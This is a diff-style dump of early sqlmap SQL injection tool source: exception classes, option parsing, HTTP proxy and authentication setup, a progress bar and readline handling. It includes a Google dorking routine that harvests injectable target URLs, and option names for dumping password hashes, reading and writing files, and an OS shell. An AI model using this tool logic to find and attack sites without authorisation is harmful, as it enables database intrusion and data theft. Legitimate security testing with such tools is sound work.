class sqlmapRegExprException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapSyntaxException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapUndefinedMethod(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapMissingPrivileges(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapNotVulnerableException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapUnsupportedDBMSException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapUnsupportedFeatureException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapValueException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
def unhandledException():
|
||||
errMsg = "unhandled exception in %s, please copy " % VERSION_STRING
|
||||
errMsg += "this and the following traceback and send us by email. "
|
||||
errMsg += "We will fix it as soon as possible:"
|
||||
|
||||
return errMsg
|
||||
|
||||
|
||||
exceptionsTuple = (
|
||||
sqlmapConnectionException,
|
||||
sqlmapDataException,
|
||||
sqlmapFilePathException,
|
||||
sqlmapGenericException,
|
||||
sqlmapMissingMandatoryOptionException,
|
||||
sqlmapNoneDataException,
|
||||
sqlmapRegExprException,
|
||||
sqlmapSyntaxException,
|
||||
sqlmapUndefinedMethod,
|
||||
sqlmapMissingPrivileges,
|
||||
sqlmapNotVulnerableException,
|
||||
sqlmapUnsupportedDBMSException,
|
||||
sqlmapUnsupportedFeatureException,
|
||||
sqlmapValueException,
|
||||
)
|
||||
571
lib/core/option.py
Normal file
571
lib/core/option.py
Normal file
@@ -0,0 +1,571 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: option.py 321M 2008-10-13 22:58:44Z (local) $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import cookielib
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
import time
|
||||
import urllib2
|
||||
import urlparse
|
||||
|
||||
from lib.core.common import parseTargetUrl
|
||||
from lib.core.common import paths
|
||||
from lib.core.common import randomRange
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.common import sanitizeStr
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.datatype import advancedDict
|
||||
from lib.core.exception import sqlmapFilePathException
|
||||
from lib.core.exception import sqlmapGenericException
|
||||
from lib.core.exception import sqlmapSyntaxException
|
||||
from lib.core.exception import sqlmapUnsupportedDBMSException
|
||||
from lib.core.optiondict import optDict
|
||||
from lib.core.settings import MSSQL_ALIASES
|
||||
from lib.core.settings import MYSQL_ALIASES
|
||||
from lib.core.settings import SITE
|
||||
from lib.core.settings import SUPPORTED_DBMS
|
||||
from lib.core.settings import VERSION_STRING
|
||||
from lib.core.update import update
|
||||
from lib.parse.configfile import configFileParser
|
||||
from lib.parse.queriesfile import queriesParser
|
||||
from lib.request.proxy import ProxyHTTPSHandler
|
||||
from lib.utils.google import Google
|
||||
|
||||
|
||||
authHandler = urllib2.BaseHandler()
|
||||
proxyHandler = urllib2.BaseHandler()
|
||||
|
||||
|
||||
def __urllib2Opener():
|
||||
"""
|
||||
This function creates the urllib2 OpenerDirector.
|
||||
"""
|
||||
|
||||
global authHandler
|
||||
global proxyHandler
|
||||
|
||||
debugMsg = "creating HTTP requests opener object"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
conf.cj = cookielib.LWPCookieJar()
|
||||
opener = urllib2.build_opener(proxyHandler, authHandler, urllib2.HTTPCookieProcessor(conf.cj))
|
||||
|
||||
urllib2.install_opener(opener)
|
||||
|
||||
|
||||
def __setGoogleDorking():
|
||||
"""
|
||||
This function checks if the way to request testable hosts is through
|
||||
Google dorking then requests to Google the search parameter, parses
|
||||
the results and save the testable hosts into the knowledge base.
|
||||
"""
|
||||
|
||||
global proxyHandler
|
||||
|
||||
if not conf.googleDork:
|
||||
return
|
||||
|
||||
debugMsg = "initializing Google dorking requests"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
logMsg = "first request to Google to get the session cookie"
|
||||
logger.info(logMsg)
|
||||
|
||||
googleObj = Google(proxyHandler)
|
||||
googleObj.getCookie()
|
||||
|
||||
matches = googleObj.search(conf.googleDork)
|
||||
|
||||
if not matches:
|
||||
errMsg = "unable to find results for your "
|
||||
errMsg += "Google dork expression"
|
||||
raise sqlmapGenericException, errMsg
|
||||
|
||||
kb.targetUrls = googleObj.getTargetUrls()
|
||||
|
||||
if kb.targetUrls:
|
||||
logMsg = "sqlmap got %d results for your " % len(matches)
|
||||
logMsg += "Google dork expression, "
|
||||
|
||||
if len(matches) == len(kb.targetUrls):
|
||||
logMsg += "all "
|
||||
else:
|
||||
logMsg += "%d " % len(kb.targetUrls)
|
||||
|
||||
logMsg += "of them are testable hosts"
|
||||
logger.info(logMsg)
|
||||
else:
|
||||
errMsg = "sqlmap got %d results " % len(matches)
|
||||
errMsg += "for your Google dork expression, but none of them "
|
||||
errMsg += "have GET parameters to test for SQL injection"
|
||||
raise sqlmapGenericException, errMsg
|
||||
|
||||
|
||||
def __setRemoteDBMS():
|
||||
"""
|
||||
Checks and set the back-end DBMS option.
|
||||
"""
|
||||
|
||||
if not conf.dbms:
|
||||
return
|
||||
|
||||
debugMsg = "forcing back-end DBMS to user defined value"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
conf.dbms = conf.dbms.lower()
|
||||
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
||||
"|".join([alias for alias in MYSQL_ALIASES]))
|
||||
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms)
|
||||
|
||||
if dbmsRegExp:
|
||||
conf.dbms = dbmsRegExp.group(1)
|
||||
kb.dbmsVersion = [dbmsRegExp.group(2)]
|
||||
|
||||
if conf.dbms not in SUPPORTED_DBMS:
|
||||
errMsg = "you provided an unsupported back-end database management "
|
||||
errMsg += "system. The supported DBMS are MySQL, PostgreSQL, "
|
||||
errMsg += "Microsoft SQL Server and Oracle. If you do not know "
|
||||
errMsg += "the back-end DBMS, do not provide it and sqlmap will "
|
||||
errMsg += "fingerprint it for you."
|
||||
raise sqlmapUnsupportedDBMSException, errMsg
|
||||
|
||||
|
||||
def __setThreads():
|
||||
if conf.threads <= 0:
|
||||
conf.threads = 1
|
||||
|
||||
|
||||
def __setHTTPProxy():
|
||||
"""
|
||||
Check and set the HTTP proxy to pass by all HTTP requests.
|
||||
"""
|
||||
|
||||
global proxyHandler
|
||||
|
||||
if not conf.proxy:
|
||||
return
|
||||
|
||||
parseTargetUrl()
|
||||
|
||||
debugMsg = "setting the HTTP proxy to pass by all HTTP requests"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
__proxySplit = urlparse.urlsplit(conf.proxy)
|
||||
__hostnamePort = __proxySplit[1].split(":")
|
||||
|
||||
__scheme = __proxySplit[0]
|
||||
__hostname = __hostnamePort[0]
|
||||
__port = None
|
||||
|
||||
if len(__hostnamePort) == 2:
|
||||
__port = int(__hostnamePort[1])
|
||||
|
||||
if not __scheme or not __hostname or not __port:
|
||||
errMsg = "proxy value must be in format 'http://url:port'"
|
||||
raise sqlmapSyntaxException, errMsg
|
||||
|
||||
__proxyString = "%s:%d" % (__hostname, __port)
|
||||
|
||||
# Workaround for http://bugs.python.org/issue1424152 (urllib/urllib2:
|
||||
# HTTPS over (Squid) Proxy fails) as long as HTTP over SSL requests
|
||||
# can't be tunneled over an HTTP proxy natively by Python urllib2
|
||||
# standard library
|
||||
if conf.scheme == "https":
|
||||
proxyHandler = ProxyHTTPSHandler(__proxyString)
|
||||
else:
|
||||
proxyHandler = urllib2.ProxyHandler({"http": __proxyString})
|
||||
|
||||
|
||||
def __setHTTPAuthentication():
|
||||
"""
|
||||
Check and set the HTTP authentication method (Basic or Digest),
|
||||
username and password to perform HTTP requests with.
|
||||
"""
|
||||
|
||||
global authHandler
|
||||
|
||||
if not conf.aType and not conf.aCred:
|
||||
return
|
||||
|
||||
elif conf.aType and not conf.aCred:
|
||||
errMsg = "you specified the HTTP Authentication type, but "
|
||||
errMsg += "did not provide the credentials"
|
||||
raise sqlmapSyntaxException, errMsg
|
||||
|
||||
elif not conf.aType and conf.aCred:
|
||||
errMsg = "you specified the HTTP Authentication credentials, "
|
||||
errMsg += "but did not provide the type"
|
||||
raise sqlmapSyntaxException, errMsg
|
||||
|
||||
parseTargetUrl()
|
||||
|
||||
debugMsg = "setting the HTTP Authentication type and credentials"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
aTypeLower = conf.aType.lower()
|
||||
|
||||
if aTypeLower not in ( "basic", "digest" ):
|
||||
errMsg = "HTTP Authentication type value must be "
|
||||
errMsg += "Basic or Digest"
|
||||
raise sqlmapSyntaxException, errMsg
|
||||
|
||||
aCredRegExp = re.search("^(.*?)\:(.*?)$", conf.aCred)
|
||||
|
||||
if not aCredRegExp:
|
||||
errMsg = "HTTP Authentication credentials value must be "
|
||||
errMsg += "in format username:password"
|
||||
raise sqlmapSyntaxException, errMsg
|
||||
|
||||
authUsername = aCredRegExp.group(1)
|
||||
authPassword = aCredRegExp.group(2)
|
||||
|
||||
passwordMgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
|
||||
passwordMgr.add_password(None, "%s://%s" % (conf.scheme, conf.hostname), authUsername, authPassword)
|
||||
|
||||
if aTypeLower == "basic":
|
||||
authHandler = urllib2.HTTPBasicAuthHandler(passwordMgr)
|
||||
elif aTypeLower == "digest":
|
||||
authHandler = urllib2.HTTPDigestAuthHandler(passwordMgr)
|
||||
|
||||
|
||||
def __setHTTPMethod():
|
||||
"""
|
||||
Check and set the HTTP method to perform HTTP requests through.
|
||||
"""
|
||||
|
||||
if conf.method:
|
||||
debugMsg = "setting the HTTP method to perform HTTP requests through"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
conf.method = conf.method.upper()
|
||||
|
||||
if conf.method not in ("GET", "POST"):
|
||||
warnMsg = "'%s' " % conf.method
|
||||
warnMsg += "is an unsupported HTTP method, "
|
||||
warnMsg += "setting to default method, GET"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
conf.method = "GET"
|
||||
else:
|
||||
conf.method = "GET"
|
||||
|
||||
|
||||
def __defaultHTTPUserAgent():
|
||||
"""
|
||||
@return: default sqlmap HTTP User-Agent header
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
return "%s (%s)" % (VERSION_STRING, SITE)
|
||||
|
||||
|
||||
def __setHTTPUserAgent():
|
||||
"""
|
||||
Set the HTTP User-Agent header.
|
||||
Depending on the user options it can be:
|
||||
|
||||
* The default sqlmap string
|
||||
* A default value read as user option
|
||||
* A random value read from a list of User-Agent headers from a
|
||||
file choosed as user option
|
||||
"""
|
||||
|
||||
if conf.agent:
|
||||
debugMsg = "setting the HTTP User-Agent header"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
conf.httpHeaders.append(("User-Agent", conf.agent))
|
||||
return
|
||||
|
||||
if not conf.userAgentsFile:
|
||||
conf.httpHeaders.append(("User-Agent", __defaultHTTPUserAgent()))
|
||||
return
|
||||
|
||||
debugMsg = "fetching random HTTP User-Agent header from "
|
||||
debugMsg += "file '%s'" % conf.userAgentsFile
|
||||
logger.debug(debugMsg)
|
||||
|
||||
try:
|
||||
fd = open(conf.userAgentsFile)
|
||||
except IOError:
|
||||
warnMsg = "unable to read HTTP User-Agent header "
|
||||
warnMsg += "file '%s'" % conf.userAgentsFile
|
||||
logger.warn(warnMsg)
|
||||
|
||||
conf.httpHeaders.append(("User-Agent", __defaultHTTPUserAgent()))
|
||||
|
||||
return
|
||||
|
||||
__count = 0
|
||||
__userAgents = []
|
||||
|
||||
while True:
|
||||
line = fd.readline()
|
||||
|
||||
if not line:
|
||||
break
|
||||
|
||||
__userAgents.append(line)
|
||||
__count += 1
|
||||
|
||||
fd.close()
|
||||
|
||||
if __count == 1:
|
||||
__userAgent = __userAgents[0]
|
||||
else:
|
||||
__userAgent = __userAgents[randomRange(stop=__count)]
|
||||
|
||||
__userAgent = sanitizeStr(__userAgent)
|
||||
conf.httpHeaders.append(("User-Agent", __userAgent))
|
||||
|
||||
logMsg = "fetched random HTTP User-Agent header from "
|
||||
logMsg += "file '%s': %s" % (conf.userAgentsFile, __userAgent)
|
||||
logger.info(logMsg)
|
||||
|
||||
|
||||
def __setHTTPReferer():
|
||||
"""
|
||||
Set the HTTP Referer
|
||||
"""
|
||||
|
||||
if conf.referer:
|
||||
debugMsg = "setting the HTTP Referer header"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
conf.httpHeaders.append(("Referer", conf.referer))
|
||||
|
||||
|
||||
def __setHTTPCookies():
|
||||
"""
|
||||
Set the HTTP Cookie header
|
||||
"""
|
||||
|
||||
if conf.cookie:
|
||||
debugMsg = "setting the HTTP Cookie header"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
conf.httpHeaders.append(("Connection", "Keep-Alive"))
|
||||
conf.httpHeaders.append(("Cookie", conf.cookie))
|
||||
|
||||
|
||||
def __cleanupOptions():
|
||||
"""
|
||||
Cleanup configuration attributes.
|
||||
"""
|
||||
|
||||
debugMsg = "cleaning up configuration parameters"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
if conf.testParameter:
|
||||
conf.testParameter = conf.testParameter.replace(" ", "")
|
||||
conf.testParameter = conf.testParameter.split(",")
|
||||
else:
|
||||
conf.testParameter = []
|
||||
|
||||
if conf.db:
|
||||
conf.db = conf.db.replace(" ", "")
|
||||
|
||||
if conf.tbl:
|
||||
conf.tbl = conf.tbl.replace(" ", "")
|
||||
|
||||
if conf.col:
|
||||
conf.col = conf.col.replace(" ", "")
|
||||
|
||||
if conf.user:
|
||||
conf.user = conf.user.replace(" ", "")
|
||||
|
||||
|
||||
def __setConfAttributes():
|
||||
"""
|
||||
This function set some needed attributes into the configuration
|
||||
singleton.
|
||||
"""
|
||||
|
||||
debugMsg = "initializing the configuration"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
conf.cj = None
|
||||
conf.dbmsHandler = None
|
||||
conf.dumpPath = None
|
||||
conf.httpHeaders = []
|
||||
conf.hostname = None
|
||||
conf.loggedToOut = None
|
||||
conf.outputPath = None
|
||||
conf.paramDict = {}
|
||||
conf.parameters = {}
|
||||
conf.path = None
|
||||
conf.port = None
|
||||
conf.scheme = None
|
||||
conf.sessionFP = None
|
||||
conf.start = True
|
||||
|
||||
|
||||
def __setKnowledgeBaseAttributes():
|
||||
"""
|
||||
This function set some needed attributes into the knowledge base
|
||||
singleton.
|
||||
"""
|
||||
|
||||
debugMsg = "initializing the knowledge base"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
kb.absFilePaths = set()
|
||||
kb.defaultResult = None
|
||||
kb.docRoot = None
|
||||
kb.dbms = None
|
||||
kb.dbmsDetected = False
|
||||
kb.dbmsVersion = None
|
||||
kb.htmlFp = []
|
||||
kb.injParameter = None
|
||||
kb.injPlace = None
|
||||
kb.injType = None
|
||||
kb.parenthesis = None
|
||||
kb.resumedQueries = {}
|
||||
kb.targetUrls = set()
|
||||
kb.unionComment = ""
|
||||
kb.unionCount = None
|
||||
kb.unionPosition = None
|
||||
|
||||
|
||||
def __saveCmdline():
|
||||
"""
|
||||
Saves the command line options on a sqlmap configuration INI file
|
||||
format.
|
||||
"""
|
||||
|
||||
if not conf.saveCmdline:
|
||||
return
|
||||
|
||||
debugMsg = "saving command line options on a sqlmap configuration INI file"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
userOpts = {}
|
||||
|
||||
for family in optDict.keys():
|
||||
userOpts[family] = []
|
||||
|
||||
for option, value in conf.items():
|
||||
for family, optionData in optDict.items():
|
||||
if option in optionData:
|
||||
userOpts[family].append((option, value, optionData[option]))
|
||||
|
||||
confFP = open(paths.SQLMAP_CONFIG, "w")
|
||||
|
||||
for family, optionData in userOpts.items():
|
||||
confFP.write("[%s]\n" % family)
|
||||
|
||||
optionData.sort()
|
||||
|
||||
for option, value, datatype in optionData:
|
||||
if value == None:
|
||||
if datatype == "boolean":
|
||||
value = "False"
|
||||
elif datatype == "integer":
|
||||
value = "1"
|
||||
elif datatype == "string":
|
||||
value = ""
|
||||
|
||||
confFP.write("%s = %s\n" % (option, value))
|
||||
|
||||
confFP.write("\n")
|
||||
|
||||
confFP.flush()
|
||||
confFP.close()
|
||||
|
||||
infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG
|
||||
logger.info(infoMsg)
|
||||
|
||||
|
||||
def __setVerbosity():
|
||||
"""
|
||||
This function set the verbosity of sqlmap output messages.
|
||||
"""
|
||||
|
||||
if not conf.verbose:
|
||||
conf.verbose = 0
|
||||
return
|
||||
|
||||
conf.verbose = int(conf.verbose)
|
||||
|
||||
if conf.verbose <= 1:
|
||||
logger.setLevel(logging.INFO)
|
||||
elif conf.verbose > 1 and conf.eta:
|
||||
conf.verbose = 1
|
||||
logger.setLevel(logging.INFO)
|
||||
elif conf.verbose == 2:
|
||||
logger.setLevel(logging.DEBUG)
|
||||
elif conf.verbose == 3:
|
||||
logger.setLevel(9)
|
||||
elif conf.verbose >= 4:
|
||||
logger.setLevel(8)
|
||||
|
||||
|
||||
def __mergeOptions(inputOptions):
|
||||
"""
|
||||
Merge command line options with configuration file options.
|
||||
|
||||
@param inputOptions: optparse object with command line options.
|
||||
@type inputOptions: C{instance}
|
||||
"""
|
||||
|
||||
if inputOptions.configFile:
|
||||
configFileParser(inputOptions.configFile)
|
||||
|
||||
for key, value in inputOptions.__dict__.items():
|
||||
if not conf.has_key(key) or conf[key] == None or value != None:
|
||||
conf[key] = value
|
||||
|
||||
|
||||
def init(inputOptions=advancedDict()):
|
||||
"""
|
||||
Set attributes into both configuration and knowledge base singletons
|
||||
based upon command line and configuration file options.
|
||||
"""
|
||||
|
||||
__mergeOptions(inputOptions)
|
||||
__setVerbosity()
|
||||
__saveCmdline()
|
||||
__setConfAttributes()
|
||||
__setKnowledgeBaseAttributes()
|
||||
__cleanupOptions()
|
||||
__setHTTPCookies()
|
||||
__setHTTPReferer()
|
||||
__setHTTPUserAgent()
|
||||
__setHTTPMethod()
|
||||
__setHTTPAuthentication()
|
||||
__setHTTPProxy()
|
||||
__setThreads()
|
||||
__setRemoteDBMS()
|
||||
__setGoogleDorking()
|
||||
__urllib2Opener()
|
||||
|
||||
update()
|
||||
queriesParser()
|
||||
95
lib/core/optiondict.py
Normal file
95
lib/core/optiondict.py
Normal file
@@ -0,0 +1,95 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: optiondict.py 368 2008-09-30 00:09:59Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
optDict = {
|
||||
# Family: { "parameter_name": "parameter_datatype",
|
||||
"Request": {
|
||||
"url": "string",
|
||||
"googleDork": "string",
|
||||
"testParameter": "string",
|
||||
"method": "string",
|
||||
"data": "string",
|
||||
"cookie": "string",
|
||||
"referer": "string",
|
||||
"agent": "string",
|
||||
"userAgentsFile": "string",
|
||||
"aType": "string",
|
||||
"aCred": "string",
|
||||
"proxy": "string",
|
||||
"threads": "integer",
|
||||
},
|
||||
|
||||
"Injection": {
|
||||
"string": "string",
|
||||
"dbms": "string",
|
||||
},
|
||||
|
||||
"Fingerprint": {
|
||||
"extensiveFp": "boolean",
|
||||
},
|
||||
|
||||
"Enumeration": {
|
||||
"getBanner": "boolean",
|
||||
"getCurrentUser": "boolean",
|
||||
"getCurrentDb": "boolean",
|
||||
"getUsers": "boolean",
|
||||
"getPasswordHashes": "boolean",
|
||||
"getPrivileges": "boolean",
|
||||
"getDbs": "boolean",
|
||||
"getTables": "boolean",
|
||||
"getColumns": "boolean",
|
||||
"dumpTable": "boolean",
|
||||
"dumpAll": "boolean",
|
||||
"user": "string",
|
||||
"db": "string",
|
||||
"tbl": "string",
|
||||
"col": "string",
|
||||
"excludeSysDbs": "boolean",
|
||||
"limitStart": "integer",
|
||||
"limitStop": "integer",
|
||||
"query": "string",
|
||||
"sqlShell": "boolean",
|
||||
},
|
||||
|
||||
"File system": {
|
||||
"rFile": "string",
|
||||
"wFile": "string",
|
||||
},
|
||||
|
||||
"Takeover": {
|
||||
"osShell": "boolean",
|
||||
},
|
||||
|
||||
"Miscellaneous": {
|
||||
"unionTest": "boolean",
|
||||
"unionUse": "boolean",
|
||||
"eta": "boolean",
|
||||
"verbose": "integer",
|
||||
"updateAll": "boolean",
|
||||
"sessionFile": "string",
|
||||
"batch": "boolean",
|
||||
},
|
||||
}
|
||||
111
lib/core/progress.py
Normal file
111
lib/core/progress.py
Normal file
@@ -0,0 +1,111 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: progress.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.common import dataToStdout
|
||||
|
||||
|
||||
class ProgressBar:
|
||||
"""
|
||||
This class defines methods to update and draw a progress bar
|
||||
"""
|
||||
|
||||
def __init__(self, minValue=0, maxValue=10, totalWidth=54):
|
||||
self.__progBar = "[]"
|
||||
self.__oldProgBar = ""
|
||||
self.__min = minValue
|
||||
self.__max = maxValue
|
||||
self.__span = maxValue - minValue
|
||||
self.__width = totalWidth
|
||||
self.__amount = 0
|
||||
self.update()
|
||||
|
||||
|
||||
def __convertSeconds(self, value):
|
||||
seconds = value
|
||||
minutes = seconds / 60
|
||||
seconds = seconds - (minutes * 60)
|
||||
|
||||
return "%.2d:%.2d" % (minutes, seconds)
|
||||
|
||||
|
||||
def update(self, newAmount=0):
|
||||
"""
|
||||
This method updates the progress bar
|
||||
"""
|
||||
|
||||
if newAmount < self.__min:
|
||||
newAmount = self.__min
|
||||
elif newAmount > self.__max:
|
||||
newAmount = self.__max
|
||||
|
||||
self.__amount = newAmount
|
||||
|
||||
# Figure out the new percent done, round to an integer
|
||||
diffFromMin = float(self.__amount - self.__min)
|
||||
percentDone = (diffFromMin / float(self.__span)) * 100.0
|
||||
percentDone = round(percentDone)
|
||||
percentDone = int(percentDone)
|
||||
|
||||
# Figure out how many hash bars the percentage should be
|
||||
allFull = self.__width - 2
|
||||
numHashes = (percentDone / 100.0) * allFull
|
||||
numHashes = int(round(numHashes))
|
||||
|
||||
# Build a progress bar with an arrow of equal signs
|
||||
if numHashes == 0:
|
||||
self.__progBar = "[>%s]" % (" " * (allFull - 1))
|
||||
elif numHashes == allFull:
|
||||
self.__progBar = "[%s]" % ("=" * allFull)
|
||||
else:
|
||||
self.__progBar = "[%s>%s]" % ("=" * (numHashes - 1),
|
||||
" " * (allFull - numHashes))
|
||||
|
||||
# Add the percentage at the beginning of the progress bar
|
||||
percentString = str(percentDone) + "%"
|
||||
self.__progBar = "%s %s" % (percentString, self.__progBar)
|
||||
|
||||
|
||||
def draw(self, eta=0):
|
||||
"""
|
||||
This method draws the progress bar if it has changed
|
||||
"""
|
||||
|
||||
if self.__progBar != self.__oldProgBar:
|
||||
self.__oldProgBar = self.__progBar
|
||||
|
||||
if eta and self.__amount < self.__max:
|
||||
dataToStdout("\r%s %d/%d ETA %s" % (self.__progBar, self.__amount, self.__max, self.__convertSeconds(int(eta))))
|
||||
else:
|
||||
blank = " " * (80 - len("\r%s %d/%d" % (self.__progBar, self.__amount, self.__max)))
|
||||
dataToStdout("\r%s %d/%d%s" % (self.__progBar, self.__amount, self.__max, blank))
|
||||
|
||||
|
||||
def __str__(self):
|
||||
"""
|
||||
This method returns the progress bar string
|
||||
"""
|
||||
|
||||
return str(self.__progBar)
|
||||
94
lib/core/readlineng.py
Normal file
94
lib/core/readlineng.py
Normal file
@@ -0,0 +1,94 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: readlineng.py 326 2008-08-27 12:20:15Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
Based on IPython readline library (IPython/rlineimpl.py), imports and
|
||||
provides the "correct" version of readline for the platform.
|
||||
In addition to normal readline stuff, this module provides haveReadline
|
||||
boolean and _outputfile variable used in genutils.
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import sys
|
||||
|
||||
|
||||
from lib.core.data import logger
|
||||
|
||||
|
||||
try:
|
||||
from readline import *
|
||||
import readline as _rl
|
||||
|
||||
haveReadline = True
|
||||
except ImportError:
|
||||
try:
|
||||
from pyreadline import *
|
||||
import pyreadline as _rl
|
||||
|
||||
haveReadline = True
|
||||
except ImportError:
|
||||
haveReadline = False
|
||||
|
||||
if sys.platform == 'win32' and haveReadline:
|
||||
try:
|
||||
_outputfile=_rl.GetOutputFile()
|
||||
except AttributeError:
|
||||
debugMsg = "Failed GetOutputFile when using platform's "
|
||||
debugMsg += "readline library"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
haveReadline = False
|
||||
|
||||
# Test to see if libedit is being used instead of GNU readline.
|
||||
# Thanks to Boyd Waters for this patch.
|
||||
uses_libedit = False
|
||||
|
||||
if sys.platform == 'darwin' and haveReadline:
|
||||
import commands
|
||||
|
||||
(status, result) = commands.getstatusoutput( "otool -L %s | grep libedit" % _rl.__file__ )
|
||||
|
||||
if status == 0 and len(result) > 0:
|
||||
# We are bound to libedit - new in Leopard
|
||||
_rl.parse_and_bind("bind ^I rl_complete")
|
||||
|
||||
debugMsg = "Leopard libedit detected when using platform's "
|
||||
debugMsg += "readline library"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
uses_libedit = True
|
||||
|
||||
|
||||
# the clear_history() function was only introduced in Python 2.4 and is
|
||||
# actually optional in the readline API, so we must explicitly check for its
|
||||
# existence. Some known platforms actually don't have it. This thread:
|
||||
# http://mail.python.org/pipermail/python-dev/2003-August/037845.html
|
||||
# has the original discussion.
|
||||
if haveReadline:
|
||||
try:
|
||||
_rl.clear_history
|
||||
except AttributeError:
|
||||
def clear_history():
|
||||
pass
|
||||
|
||||
_rl.clear_history = clear_history
|
||||
282
lib/core/session.py
Normal file
282
lib/core/session.py
Normal file
@@ -0,0 +1,282 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: session.py 368 2008-09-30 00:09:59Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
